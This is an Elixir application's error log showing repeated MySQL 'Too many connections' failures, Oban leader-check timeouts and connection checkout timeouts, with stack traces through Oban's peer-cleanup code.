[Sat Sep  5 21:53:45.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:47.509000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:50.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:51.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:56.630000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:04.702000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:16.630000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:54:18.380000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:21.631000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:54:23.232000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:26.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:54:26.114000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:27.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:30.162000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:34.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:38.456000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:48.815000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:49.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:51.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:59.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:54:59.142000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:55:01.261000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:55:04.144000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:55:05.649000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:55:08.286000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:55:08.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:09.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:15.112000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:20.107000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:27.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:31.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:41.319000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:55:45.841000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:46.320000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:55:46.745000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:50.553000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:55:50.555000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:52.920000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:55:55.305000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:00.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:00.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:09.122000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:10.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:21.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:24.585000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.0ms idle=1064.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 21:56:28.075000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:28.871000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:29.587000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:56:34.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:56:34.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:37.007000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:41.455000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:42.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:45.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:50.294000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:52.689000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:57.749000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:56:59.693000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:03.251000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:07.315000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:57:09.285000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:57:12.316000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:57:14.007000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:17.007000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:17.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:57:17.122000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:18.636000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:19.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:21.344000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:25.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:25.969000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:27.582000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:31.502000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:33.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:33.506000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:38.042000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:50.989000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:52.154000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:57:54.236000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:55.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:57:57.155000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:58:01.997000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:58:02.003000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:02.491000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:04.360000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:06.630000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:11.298000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
